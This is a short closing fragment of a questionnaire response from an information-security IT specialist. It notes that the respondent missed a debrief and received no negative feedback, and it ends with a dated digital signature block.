I was not able to attend the debrief. I have not received any negative feedback from persons that were able to attend.

Questionnaire Respondent Signature:

IT Specialist (InfoSec)

Digitally signed by JOSHUA /Joshua M. Camiré/ CAMIRE Date: 2019.04.08 09:24:37 -04'00'

Title:

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